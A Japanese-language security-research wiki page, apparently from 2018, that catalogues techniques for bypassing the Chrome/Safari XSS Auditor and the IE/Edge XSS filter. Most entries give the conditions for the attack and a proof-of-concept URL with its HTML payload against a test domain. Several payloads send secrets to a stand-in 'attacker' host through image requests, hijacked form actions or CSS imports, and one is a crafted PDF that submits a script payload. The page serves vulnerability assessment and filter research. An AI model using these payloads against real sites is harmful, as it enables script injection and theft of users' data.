Browser's XSS Filter Bypass Cheat Sheet

Masato Kinugawa edited this page Jul 7, 2018 · 33 revisions

XSS Auditor、XSSフィルターのバイパスについてまとめたページです。Chrome/Safari、IE11/Edgeの最新版で動くものが掲載対象です。 あなたが脆弱性を診断する立場の人なら、攻撃可能であることを説得力を持って証明するために、あなたがセキュリティ研究者なら、更なるバイパスの発見にお役立てください。 掲載しているのは、一般的な状況でバイパスできるものです。ここに方法が載っていなくても、実際の場面で悪用できないと決まった訳ではありません。バイパスできるかどうかにかかわらず、必ず根本的なXSS対策を行うことをお勧めします。

目次

XSS Auditor

遮断対象でないもの

初めから保護が提供されていない文脈では、特別な細工なしにスクリプトを実行できる。

文字列リテラルで起こるXSS

https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//

<script>var q="";alert(1)//"</script>

URL単独で成立するXSS(入力値が直接aタグのhref部分に入る場合など)

https://vulnerabledoma.in/bypass/link?q=javascript:alert(1)

<a href="javascript:alert(1)">Link</a>

2つ以上の注入ポイントがある場合

(2つ以上で起こるかなりのケースを遮断できているようにみえるが、過去に報告されたケース( #96616 #403636 )でWontFixになっていることから、遮断対象でない方に分類。)

https://vulnerabledoma.in/bypass/text?type=2&q=%60-alert(1)%3C/script%3E%3Cscript%3E%60

<div>`-alert(1)</script><script>`</div>
<div>`-alert(1)</script><script>`</div>

文字列の操作がある場合

一部の文字列が削除されたり置換されるとき、その文字列を間に置くと遮断できない。

削除される場合

https://vulnerabledoma.in/bypass/text?type=6&q=%3Csvg%20o%3Cscript%3Enload=alert(1)%3E

<svg o<script>nload=alert(1)>
↓
<svg onload=alert(1)>

置換される場合

https://vulnerabledoma.in/bypass/text?type=7&q=%3Cscript%3E/%26/-alert(1)%3C/script%3E

<script>/&/-alert(1)</script>
↓
<script>/&amp;/-alert(1)</script>

リクエスト文字列をdocument.write()するもの以外のDOM based XSS

https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E

<body>
<script>
hash=location.hash.slice(1);
document.body.innerHTML=decodeURIComponent(hash);
</script>
</body>

https://vulnerabledoma.in/bypass/dom_redirect#javascript:alert(1)

<script>
location.href=decodeURIComponent(location.hash.slice(1));
</script>

XMLページでのXSS

https://vulnerabledoma.in/bypass/xml?q=%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E

<?xml version="1.0"?><html><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script></html>

なお、ページの先頭から文字列を記述でき、Content-Typeが正しく指定されておらず、Content SniffingによりXMLが選択された場合にもバイパスが起こる。

https://vulnerabledoma.in/bypass/text?mime=unknown&q=%3C?xml%20version=%221.0%22?%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml%22%3Ealert(1)%3C/script%3E

<?xml version="1.0"?><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>

これ以下はスクリプトの実行には至らないが、記述が許容されており、ある程度攻撃に利用できる可能性を持つもの。

http(s):リンクの作成

https://vulnerabledoma.in/bypass/text?q=%3Ca%20href=https://attacker/%3ESession%20expired.%20Please%20login%20again.%3C/a%3E

<a href=https://attacker/>Session expired. Please login again.</a>

外部にリクエストを送信できるタグ

片方を閉じない引用符を使うなどして、画像などのリクエストに秘密情報を含むことができる場合がある。

https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22https://attacker/?data=

<p><img src="https://attacker/?data=</p>
<p>This is a secret text.</p>
<p id="x">AAA</p>

任意のCSSの記述

ページの見た目を偽装することだけでなく、同じページに機密情報を含んでいる場合、CSSのみを使って情報を取得できる可能性がある。詳しくはURLを参照。

参考URL:

https://vulnerabledoma.in/bypass/text?q=%3Cstyle%3E@import%20%27//attacker/test.css%27%3C/style%3E

<style>@import '//attacker/test.css'</style>

https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=stylesheet%20href=//attacker/test.css%3E

<link rel=stylesheet href=//attacker/test.css>

バイパス

SVGアニメーションのvalues属性の利用(Safariのみ)

攻撃可能条件:

  1. 任意のタグを書けるXSSがある

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xlink%3E%3Canimate%20xlink:href=%23x%20attributeName=%22xlink:href%22%20values=%22%26%23x3000%3Bjavascript:alert(1)%22%20/%3E%3Ca%20id=x%3E%3Crect%20width=100%20height=100%20/%3E%3C/a%3E

<svg xmlns:xlink=http://www.w3.org/1999/xlink><animate xlink:href=#x attributeName="xlink:href" values="&#x3000;javascript:alert(1)" /><a id=x><rect width=100 height=100 /></a>

複数のnull文字の利用(Safariのみ)

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. nullバイトが出力される
  3. 直前に空白文字がない

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%00%00%00%00%00%00%00%3Cscript%3Ealert(1)%3C/script%3E

[0x00][0x00][0x00][0x00][0x00][0x00][0x00]<script>alert(1)</script>

scriptタグ内の-->によるコメントの利用(Safariのみ)

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 後続に改行をはさまずscriptタグの閉じタグがある

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?type=9&q=%3Cscript%3Ealert(1)%0A--%3E

<div><script>alert(1)
--></div><script src=/test.js></script>

半端なbaseタグの利用(Safariのみ)

Flashの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 直後に空白文字がこないか、それ以降に'"がある
  3. ターゲットの環境でFlashが利用できる

参考URL:

PoC:

(直後に空白文字がない場合) https://vulnerabledoma.in/bypass/text?type=3&q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=//l0.cm/

<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>

(直後に空白文字がある場合) https://vulnerabledoma.in/bypass/text?type=4&q=%3Cembed%20allowscriptaccess=always%20src=/xss.swf%3E%3Cbase%20href=%22//l0.cm/

<div> <embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/ </div><div id="x"></div>

相対URLでロードしているスクリプトの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 直後に空白文字がこないか、それ以降に'"がある
  3. それ以降に相対URLでスクリプトをロードしている部分がある

PoC:

https://vulnerabledoma.in/bypass/text?type=9&q=%3Cbase%20href=//cors.l0.cm/

<div><base href=//cors.l0.cm/</div><script src=/test.js></script>

ISO-2022-JPのエスケープシーケンスの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. ページに文字コード指定がない

補足:

ISO-2022-JPのHTML中において、[0x1B](B[0x1B](H[0x1B](Jというバイト列は無視される。これを反応文字列の間に挟むことでバイパスできる。また、Chrome/Safariでは、[0x1B]$@[0x0A]といったバイト列は[0x0A]と同じ扱いとなるが、XSS Auditorはうまく解釈できずバイパスが起きる。

参考URL:

PoC:

<meta charset=iso-2022-jp><svg o[0x1B](Bnload=alert(1)>

(※$記号が勝手にエンコードされて意図したとおりに動かないため、$を含む手法でリダイレクトを挟んでいます)

<meta charset=iso-2022-jp><script>alert(1)[0x1B]$@[0x0A]</script>

同一ドメインのリソースの利用

XSS Auditorはクエリを持たない同一ドメインのリソースのロードを遮断しない。同一ドメインに攻撃に必要なリソースを配置できた場合、いくつかのケースでバイパスが可能になる。

パスにXSSがあるケース(Chromeのみ)

攻撃可能条件:

  1. 任意のタグを書けるXSSがパスにある
  2. そのページの表示にクエリを必要としない

PoC:

https://vulnerabledoma.in/bypass/path/%3Clink%20rel=import%20href=%22%2Fbypass%2Fpath%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E%22%3E

PATH_INFO:/<link rel=import href="/bypass/path/<script>alert(1)</script>">

ファイルのアップロード機能

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 同じオリジンにユーザーがアップロードしたファイルをホストしている

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=/bypass/usercontent/xss.js%3E%3C/script%3E

<script src=/bypass/usercontent/xss.js></script>

(Chromeのみ) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/usercontent/icon.jpg%3E

<link rel=import href=/bypass/usercontent/icon.jpg>

Flashとflashvarsの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 同じオリジンにExnternalInterface.call()にパラメータ文字列を未エスケープで渡しているFlashがある
  3. ターゲットの環境でFlashが利用できる

補足:

flashvars属性を使えば、直接クエリにFlashのパラメータを与えなくても、パラメータ渡しできる。(= Flash側で、直接Flashを開くことによるXSSの対策としてURLからのパラメータ渡しが制限されている場合でもflashvarsで渡すことができる。) なお、Content-Security-Policy: default-src 'self'のようなCSPがある時などに、CSPのバイパスにも利用できる。

PoC:

https://vulnerabledoma.in/bypass/text?csp=self&q=%3Cembed%20name=a%20flashvars=%27autoplay=true%26file=%22})\%22)-(alert=alert(1)))}catch(e){}//%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E

<embed name=a flashvars='autoplay=true&file="})\")-(alert=alert(1)))}catch(e){}//' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>

ActionScript:

ExternalInterface.call("setTimeout", ExternalInterface.objectID + '_event' + "('" + eventName + "'," + eventValues + ")", 0);

FlashのExternalInterface.objectIDExternalInterface.call()の利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 同じオリジンにExternalInterface.objectIDExternalInterface.call()に渡されているFlashがある
  3. ターゲットの環境でFlashが利用できる

補足:

ExternalInterface.objectIDは埋め込みに利用されたタグのname属性の値が設定されるプロパティであり、単独ではXSSできないが、バイパスに限っては利用できる。なお、Content-Security-Policy: default-src 'self'のようなCSPの制限がある時などに、CSPのバイパスにも利用できる。

PoC:

https://vulnerabledoma.in/bypass/text?csp=self&q=%3Cembed%20name=%27alert(1)-%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E

<embed name='alert(1)-' allowscriptaccess=always src=//vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf>

ActionScript:

ExternalInterface.call(ExternalInterface.objectID + '_init');

Angularの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 同じオリジン上に、Angularをホストしているか、CORSに対応したCDNからAngularをロードしているページがある

補足:

Angularはng-appという属性を持つタグ内で{{}}で囲まれたテンプレートを展開しようとする。テンプレートはスクリプトを実行できる。

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cscript%20src=%22/js/angular1.6.4.min.js%22%3E%3C/script%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}

<script src="/js/angular1.6.4.min.js"></script><p ng-app>{{constructor.constructor('alert(1)')()}}

同じオリジン上に、CORSに対応したCDNからAngularをロードしているページがあれば、HTML Importsから間接的にロードすることで外部オリジンのリソースでもロードできる。

(Chromeのみ) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=angular.html%3E%3Cp%20ng-app%3E{{constructor.constructor(%27alert(1)%27)()}}

<link rel=import href=angular.html><p ng-app>{{constructor.constructor('alert(1)')()}}

Vue.jsの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 同じオリジン上に、Vue.jsをホストしているか、CORSに対応したCDNからロードしているページがある
  3. 細工したタグに対してテンプレートの展開を実行できるスクリプトがそのページまたは同じオリジン上に存在する

PoC:

(この例はChromeのみ) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/vue.html%3E%3Cdiv%20id=app%3E{{constructor.constructor(%27alert(1)%27)()}}

<link rel=import href=/bypass/vue.html><div id=app>{{constructor.constructor('alert(1)')()}}

jQueryの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 同じオリジン上に、jQueryをホストしているか、CORSに対応したCDNからjQueryをロードしているページがある
  3. 細工したformタグに対してjQueryの追加系関数を実行できるスクリプトがそのページまたは同じオリジン上に存在する

補足:

jQueryの追加系関数とは、after,before,prepend,append,html,replaceWith,wrap,wrapAll,insertBefore,insertAfter,prependTo,appendToなどのこと。ownerDocumentというname属性を持ったフォーム部品を使うことで、Node.ownerDocumentの参照先を誤解させ、本来スクリプトを実行させない場面で実行してしまう(このような手法はDOM Clobberingという名で知られる)。さらに、実行前にスクリプトブロックの<!--削除する処理があることと、Auditorはコメントしか含まないスクリプトブロックを遮断しないことが組み合わさってバイパスが起こっている。

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?type=5&q=%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E%3C!--alert(1)%3C/script%3E%3C/form%3E

<!DOCTYPE html>
<html>
<head>
<script src="/js/jquery-3.2.1.min.js"></script>
<script>
$(document).ready(function(){
    // code taken from http://api.jquery.com/after/
    $( ".container" ).after( $( ".child" ) );
});
</script>
</head>
<body>
<!-- XSS -->
<form class=child><input name=ownerDocument><script><!--alert(1)</script></form>
<!-- XSS -->
<p class="container"></p>
</body>
<!-- Inspired by @sirdarckcat CSP bypass trick: https://sirdarckcat.github.io/csp/jquery.html -->
</html>

(この例はChromeのみ) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/jquery.html%3E%3Cp%20class=container%3E%3C/p%3E%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%3Cscript%3E%3C!--alert(1)%3C/script%3E%3C/form%3E

<link rel=import href=/bypass/jquery.html><p class=container></p><form class=child><input name=ownerDocument><script><!--alert(1)</script></form>

underscore.jsの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 同じオリジン上に、underscore.jsをホストしているか、CORSに対応したCDNからロードしているページがある
  3. 細工したscriptタグに対してテンプレートの展開を実行できるスクリプトがそのページまたは同じオリジン上に存在する

PoC:

(この例はChromeのみ) https://vulnerabledoma.in/bypass/text?q=%3Clink%20rel=import%20href=/bypass/underscore.html%3E%3Cscript%20id=template%3E//%3C%alert`1`%%3E%3C/script%3E

<link rel=import href=/bypass/underscore.html><script id=template>//<%alert`1`%></script>

JSXTransformer/babel-standaloneなどのJSX変換スクリプトの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 同じオリジン上に、JSXTransformer.jsなどのJSX変換スクリプトをホストしているか、CORSに対応したCDNからそれらをロードしているページがある

補足:

変換スクリプトがSVGのスクリプトブロックをHTMLのスクリプトブロックと同じようにパースしていることを利用。本来は実行されない<!--から-->に囲まれたコメント部分がスクリプトとして評価される。

PoC:

(この例はChromeのみ) https://vulnerabledoma.in/bypass/text?charset=utf-8&type=1&q=%3Clink%20rel=import%20href=/bypass/babel-standalone.html%3E%3Csvg%3E%3Cscript%20type=%22text/jsx%22%3E//%3C!--%0aalert(1)//--%3E%3C/svg%3E%3Cscript%3E0%3C/script%3E

<link rel=import href=/bypass/babel-standalone.html><svg><script type=text/jsx>//<!--
alert(1)//--></svg><script>0</script>

document.write()時に半端なタグを利用する(Chromeのみ)

攻撃可能条件:

  1. URLをdocument.write()するXSSがある
  2. 攻撃に使用するタグを document.write() の外で閉じることができる(以下のPoCの場合、</body>を閉じタグに利用)

参考URL:

PoC:

https://vulnerabledoma.in/bypass/dom_docwrite#%3Cimg%20src=x%20onerror=alert(1)//

<body>
<script>
hash=location.hash.slice(1);
document.write(decodeURIComponent(hash));
</script>
</body>

半端なformタグの利用(情報の取得のみ)(Safariのみ)

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. 秘密情報を含む既存のフォーム内容の送信先になれる位置に新たなformタグを置ける

参考URL:

PoC:

(フォーム内にいる場合) https://vulnerabledoma.in/bypass/form?q=%22%3E%3C/form%3E%3Cform%20action=https://attacker/

<form action="form">
<input type="hidden" name="q" value=""></form><form action=https://attacker/">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>

(フォーム外にいる場合) https://vulnerabledoma.in/bypass/form2?q=%3Cbutton%20form=f%3ECLICK%3Cform%20id=f%20action=https://attacker/

<div><button form=f>CLICK<form id=f action=https://attacker/</div>
<form action="form2">
<input type="hidden" name="secret" value="a09d3ef0">
</form>

過去のバイパス

Fixed Bypass Archive にて掲載。

IE/EdgeのXSSフィルター

遮断対象でないもの

文字列リテラルで起こるXSS

補足:

以前までは文字列リテラル用の遮断条件があった。現在も部分的には残っているものの、以前までブロックされていた明らかに攻撃可能なlocationへの代入などが許されており、保護がないに等しい。もはや保護を提供するつもりがないようにうかがえるので、バイパスではなく、遮断対象でない方に分類した。

https://vulnerabledoma.in/bypass/str_literal?q=%22%3Blocation='javascript\x3Aalert\x281\x29'//

<script>var q="";location='javascript\x3Aalert\x281\x29'//"</script>

全てのDOM based XSS

https://vulnerabledoma.in/bypass/dom_docwrite#%3Cimg%20src=x%20onerror=alert(1)%3E

<script>
hash=location.hash.slice(1);
document.write(decodeURIComponent(hash));
</script>

https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)%3E

<body>
<script>
hash=location.hash.slice(1);
document.body.innerHTML=decodeURIComponent(hash);
</script>
</body>

https://vulnerabledoma.in/bypass/dom_redirect#javascript:alert(1)

<script>
location.href=decodeURIComponent(location.hash.slice(1));
</script>

1ページに2つ以上の注入点があるXSS

https://vulnerabledoma.in/bypass/text?type=2&q=%22src=data:,alert%25281%2529%3E%3C/script%3E%3Cscript%20x=%22

<div>"src=data:,alert%281%29></script><script x="</div>
<div>"src=data:,alert%281%29></script><script x="</div>

文字列の操作がある場合

一部の文字列が削除されたり置換されるとき、その文字列を間に置くと遮断できない。

削除される場合

https://vulnerabledoma.in/bypass/text?type=6&q=%3Csvg%20o%3Cscript%3Enload=alert(1)%3E

<svg o<script>nload=alert(1)>
↓
<svg onload=alert(1)>

置換される場合

フィルターの正規表現の.で表現される位置で、決められた幅以上の置換が行われた場合に遮断できなくなる。

次の場合、<sc{r}ipt.*?>という遮断条件へのマッチを避けるために、&が過剰に置換される動作を利用している。/が0-3文字、&が0-5文字のワイルドカードなので、遮断できる最大幅は8文字。置換後の出力の/&amp;amp;という文字列長は10文字であり、8文字の幅を超えてしまうので遮断できないことになる。

PoC:

https://vulnerabledoma.in/bypass/text?type=10&q=%3Cscript/%26%3Ealert(1)%3C/script%3E

<script/&>alert(1)</script>
↓
<script/&amp;amp;>alert(1)</script>

これ以下はスクリプトの実行には至らないが、記述が許容されており、ある程度攻撃に利用できる可能性を持つもの。

外部にリクエストを送信できるタグ

片方を閉じない引用符を使うなどして、画像などのリクエストに秘密情報を含むことができる場合がある。

https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22https://attacker/?data=

<p><img src="https://attacker/?data=</p>
<p>This is a secret text.</p>
<p id="x">AAA</p>

バイパス

XML namespaceに偽装した文字列の利用(Edgeのみ)

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. ターゲットの環境でFlashが有効になっている
  3. X-XSS-Protection:1; mode-blockヘッダがついていない

補足:

EdgeはXML namespaceが付いたタグも遮断しようとする。<embed/:scriptといった文字列を普通のHTML中で使うと、本来はembedタグと解釈されるべきところを、scriptタグと解釈し、遮断に失敗する。遮断動作は起きたことになるため、X-XSS-Protection:1; mode-blockヘッダがついているとバイパスに失敗する。

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E

<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>

HZ-GB-2312のエスケープシーケンスの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. Content-Typeヘッダで文字コード指定がない

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Cx~%0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a

<x~
onfocus=alert(1) id=a tabindex=0>

ナビゲーション時のエンコード動作の利用

攻撃可能条件:

  1. GET経由の反射型XSSがある

補足:

IE/Edgeはナビゲーション時、ナビゲーション前のページの文字コードでクエリ文字列をエンコードしてリクエストを送信する。このとき、XSSフィルターは、送信されるリクエストではなく、エンコードされた文字列自体をチェックしているため(おそらく)、エンコードされた文字列と実際に送信されるバイトで不一致を引き起こすことができた場合にバイパスが起こる。

以下のPoCで使用するx-chinese-cnsという文字コードで具体例を示す。x-chinese-cnsではという文字が0xA13Eにマップされている。このとき、ページの文字コードとしてx-chinese-cnsが設定されたページからこの文字列を含むクエリ<script/旡を反射型XSSを持つパラメータにつけて送信する。すると、送信されるリクエストは、をUTF-8で表現したものではなく、x-chinese-cnsでエンコードしたバイトそのものである</script/0xA1> (0x3Eは>)となり、ページ中には<script>タグが書き込まれる。通常なら<script>タグを書けばXSSフィルターは動作するはずだが、ここでは動作しない。この理由は、フィルターは誤って<script/旡という文字列をみており、遮断条件<sc{r}ipt.*?>にマッチしなかったためであると推測される。

参考URL:

PoC:

<meta charset=utf-8>
<script>
  document.charset="x-chinese-cns";
  location="https://vulnerabledoma.in/bypass/text?q=<script/旡alert(1)<\/script/旡"
</script>

(属性値のみでXSSする場合) https://l0.cm/bypass/ie_x-chinese-cns_attribute.html

<meta charset=utf-8>
<script>
  document.charset="x-chinese-cns";
  location="https://vulnerabledoma.in/bypass/attribute?q=乜onmouseover=alert(1)//"
</script>

他の文字コードでも同じように、エンコードされた文字列と実際に送信されるバイト列で不一致を起こせばバイパスできる。

(以下はシステムロケールが日本語の環境では再現するが、ドイツ語の環境では再現しなかったもの。他のベクターとは少し動作原理が異なるように思えるが、はっきりした原理はよくわからない。参考までに掲載。)

Adobe Acrobat Readerプラグインの利用(IEのみ)

攻撃可能条件:

  1. POSTリクエスト経由のXSSがある
  2. ターゲットがAdobe Acrobat Readerプラグインを使用している

参考URL:

PoC:

https://l0.cm/bypass/ie_postxss_bypass.pdf

%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 33 0 R
/AcroForm 22 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Annot [ 23 0 R ]
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj

33 0 obj
<<
/S /SubmitForm
/F
        <<
        % URL TO SUBMIT TO:
        /F (https://vulnerabledoma.in/bypass/text)
        /FS /URL
        >>
% SPECIFIES THE FORMAT AND OTHER FORM RELATED CONFIGURATION
/Flags 6
>>
endobj

22 0 obj
<<
    /Fields [23 0 R]
>>
endobj
23 0 obj
<<
    /DA (/Helv 12 Tf 0 g)
    /F 4
    /FT /Tx
    /Rect [ 9.526760 680.078003 297.527008 702.078003 ]
    /Subtype /Widget
    /Type /Annot
    % PARAMETER NAME
    /T (q)
    % PARAMETER PAYLOAD
    /V (<script>alert\(1\)</script>)
    /P 4 0 R
>>
endobj
trailer
<<
/Root 1 0 R
>>

XMLへのContent Sniffingの利用(IEのみ)

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. X-Content-Type-Options:nosniffがついていない
  3. ページの先頭から文字列を記述できる

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3C?xml%20version=%221.0%22?%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%281%26%23x29%3B%3C/x:script%3E

<?xml version="1.0"?><x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1&#x29;</x:script>

UTF-7 BOMの利用(IEのみ)

攻撃可能条件:

  1. ページの先頭から文字列を記述できる
  2. +/-といった記号の記述が許されている

補足:

+/v8+/v9+/v++/v/はUTF-7のBOMとして扱われる。IEでは、この文字列がページの先頭にあると、そのページの文字コードはUTF-7であるとみなされる。 ページ内に文字コードが指定されている場合でも、history.back()を経由して開きなおすと、そのページの文字コードはUTF-7として扱われる。(なお、後者の動作は2013年7月にMicrosoftに報告済みであるが、現在まで動作の変更は行われなかった。)

PoC:

(ページに文字コード指定がない場合) https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(1)%2BADw-/script%2BAD4-

+/v8-+ADw-script+AD4-alert(1)+ADw-/script+AD4-

(ページに文字コード指定がある場合) https://l0.cm/bypass/ie_utf7.html

<script>
function go(){
  window.open("https://vulnerabledoma.in/bypass/text?q=%2B/v8-%2BADw-script%2BAD4-alert(location)%2BADw-/script%2BAD4-&charset=utf-8","a");
  setTimeout(function(){window.open("https://l0.cm/h_back.html","a")},1000);
}
</script>
<button onclick=go()>go</button>

<?PXML>の利用(IEのみ)

攻撃可能条件:

  1. 反射型のXSSがある
  2. 注入点までに3つ以上の<がでてこない
  3. そのページのドキュメントモードが9以下に設定されているか、フレームに埋め込むなどで9以下のドキュメントモードを設定できる

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3C?PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9

<?PXML><html:script>alert(1)</html:script>

https://vulnerabledoma.in/bypass/text?q=%3CPXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9

<PXML><html:script>alert(1)</html:script>

リファラの利用

IE/EdgeのXSSフィルターは、同じドメイン(サブドメインを含む)またはlocalhostからのRefererヘッダがついているケースで、XSSフィルターを動作させない。そうしたリファラを付けることができた場合バイパスが可能となる。

同じドメイン(サブドメインも含む)内にあるリンク機能の利用

攻撃可能条件:

  1. 反射型のXSSがある
  2. 同じドメイン(サブドメインも含む)でXSSのページへのリンクが作れる

PoC:

<a href="https://vulnerabledoma.in/bypass/text?q=<script>alert(1)</script>">Click HERE</a>

任意のURLを指定できる箇所でのバイパス

攻撃可能条件:

  1. リンクで反射型のXSSが可能な箇所がある

補足:

脆弱な箇所を二重にリンクしてリファラをつけることで、javascript: URLへのリンクをXSSフィルターを反応させずに作成できる。

PoC:

https://vulnerabledoma.in/bypass/link?q=?q=javascript%253Aalert(1)

<a href="?q=javascript%3Aalert(1)">Link</a>

脆弱なformへの送信前の状態をページ上に維持できる場合

攻撃可能条件:

  1. 反射型のXSSがある
  2. 脆弱なformへの送信前の状態を同じドメイン(サブドメインも含む)のページ上に維持できる

PoC:

https://vulnerabledoma.in/bypass/form?q=%26%23x22%3B%3E%26%23x3C%3Bscript%3Ealert%26%23x28%3B1)%26%23x3C%3B/script%3E

<form action="form">
<input type="hidden" name="q" value="&#x22;>&#x3C;script>alert&#x28;1)&#x3C;/script>">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>

optionタグの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. そのXSSが既存のフォーム内にある

参考URL:

PoC:

https://vulnerabledoma.in/bypass/form3?q=%3Cbutton%20formaction=form3%3ECLICK%3Cselect%20name=q%3E%3Coption%3E%26lt%3Bscript%3Ealert(1)%26lt%3B/script%3E

<form action=submit>
<button formaction=form3>CLICK<select name=q><option>&lt;script>alert(1)&lt;/script>
</form>

空のiframeの利用

攻撃可能条件:

  1. 任意のタグを書けるXSSがある
  2. そのページがフレームへの埋め込みを許可している

補足:

XSSで空のiframeを作り、そのフレームへスクリプトを書いたURLをナビゲーションすると、脆弱なドメイン自身のリファラがつくことによりバイパスが起こる。

参考URL:

PoC:

https://l0.cm/bypass/ieedge_iframe.html

<!-- Found by @magicmac2000 -->
<iframe onload="contentWindow[0].location='//vulnerabledoma.in/bypass/text?q=<script>alert(location)</script>'" src="//vulnerabledoma.in/bypass/text?q=%3Ciframe%3E"></iframe>

formactionの利用(情報の取得のみ)

攻撃可能条件:

  1. 反射型のXSSがある
  2. 秘密情報を含む既存のフォーム内容の送信先になれる位置に新たなformaction属性を書ける

PoC:

https://vulnerabledoma.in/bypass/form?q=%22%3E%3Cbutton%20formaction=//attacker/%3E

<form action="form">
<input type="hidden" name="q" value=""><button formaction=//attacker/>">
<input type="hidden" name="secret" value="a09d3ef0">
<input type="submit">
</form>

styleでの文字参照化した文字列の利用(styleの記述のみ)

攻撃可能条件:

  1. 反射型のXSSがある
  2. CSSで攻撃可能な状況になっている

補足:

反応文字列の一部である@,:,\,(などの実体参照表記が考慮されていないため、実体参照表記が許されているSVG内のstyleブロックや属性値中でバイパスが起こる。 IEでは、CSSで情報を読み取る攻撃だけでなく、場合によってはbehavior:url()を介してスクリプトの実行が可能。

参考URL:

PoC:

https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Cstyle%3E%26commat%3Bimport'//attacker'%3C/style%3E

<svg><style>&commat;import'//attacker'</style>

https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Cstyle%3E@%26bsol%3B0069mport%27//attacker%27%3C/style%3E

<svg><style>@&bsol;0069mport'//attacker'</style>

(IE+IE10モードのみ) https://vulnerabledoma.in/bypass/text?q=%3Cp%20style="behavior%26colon%3Burl('/bypass/usercontent/xss.txt')"%3Etest&xuac=10

<p style="behavior&colon;url('/bypass/usercontent/xss.txt')">

(IE+IE10モードのみ) https://vulnerabledoma.in/bypass/text?q=%3Cp%20style="behavior:url%26lpar%3B'/bypass/usercontent/xss.txt')"%3Etest&xuac=10

<p style="behavior:url&lpar;'/bypass/usercontent/xss.txt')">

過去のバイパス

Fixed Bypass Archive にて掲載。